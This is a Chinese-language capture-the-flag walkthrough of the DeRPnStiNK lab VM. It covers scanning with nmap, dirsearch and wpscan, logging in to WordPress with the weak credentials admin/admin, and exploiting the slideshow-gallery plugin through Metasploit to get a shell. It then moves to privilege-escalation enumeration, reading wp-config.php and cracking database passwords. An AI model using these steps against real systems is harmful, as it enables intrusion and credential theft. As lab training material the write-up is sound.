DeRPnStiNK靶场实战

实验环境

靶机：10.10.10.147
kali：10.10.10.128

渗透过程

1. 主机发现

netdiscover -i eth0 -r 10.10.10.0/24

2. 服务探测

nmap -sS -sV -p- 10.10.10.147

思路：21、22端口可能存在爆破。

3. 浏览器查看web服务
目标主机开放了web服务，那就浏览器查看有没有什么漏洞或者信息。

通过查看源代码，发现flag1（在查看源代码时，一定要仔细，否则会忽略一些重要的信息！！！）

在这里就一张照片，那就进行目录扫描一下呗！！！

4. 目录扫描
使用dirsearch进行目录扫描，并指定扫描使用字典文件，使用dirb进行扫描，多使用不同的扫描器进行扫描，以便得到更多信息。

dirsearch -u http://10.10.10.147 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirb http://10.10.10.147 -w

简单访问访问扫描出来的目录，重点是robots.txt中的内容！！！

没有什么重要信息！！！访问http://10.10.10.147/weblog/跳转到http://derpnstink.local/weblog/。
从扫描出来的目录可以知道在/weblog/目录下有一个wordpress搭建的网站，那就使用wpscan扫描一下或者使用awvs扫描一下！

5. 使用wpscan和awvs进行扫描

wpscan --url http://derpnstink.local/weblog/

awvs扫描

通过awvs扫描出来弱口令:admin/admin
发现wordpress的plugin:slideshow-gallery存在漏洞（使用awvs扫描出来时，一时不知道怎么去利用该漏洞，经验太少了！！）

那就使用该账号密码去登录登录，看看有没有什么漏洞或者信息吧！

6. 使用msfconsole

search Sildehow Gallery
set rhosts 10.10.10.147
set wp_user admin
set wp_password admin
set targeturi /weblog
run

使用python获取shell

python -c "import pty;pty.spawn('/bin/bash')"

获得应该低权限的用户，那就查看查看内核、敏感文件、特殊权限等等看看能不能提权

id
whoami
sudo -l
find / -perm -4000 2>/dev/null

7. 信息查找
经过上面的简单操作，并没有发现什么有用的信息（或许是自己太菜，没有发现）。那就查看查看敏感文件，如/etc/passwd、/var/www、/home等等

思路：

通过查看/etc/passwd、/home可以知道可登录的用户。
通过查看/var/www目录，可以获取一些敏感信息，如网站配置文件、备份文件等等。

那就查查一下，在/home目录下和/etc/passwd中发现用户：mrderp、stinky

猜想解题思路：这里有两个用户，那接下来就是获取两个用户密码，最终获取系统管理员权限！！！

在wp-config.php文件中发现数据库账号密码：root/mysql

利用获得的数据库账号密码登录数据库查看一下信息！

发现flag2。在mysql数据库中查看user表，查看网站数据库，重要看看有没有什么可疑用户！

在这里找到了四个用户，其中root、admin的密码在前面已经找到了！那就破解破unclestinky、phpmyadmin的密码呗！
通过在线破解或者john破解数据库的密码。

通过破解发现unclestinky密码为wedgie57,phpmyadmin的密码为admin。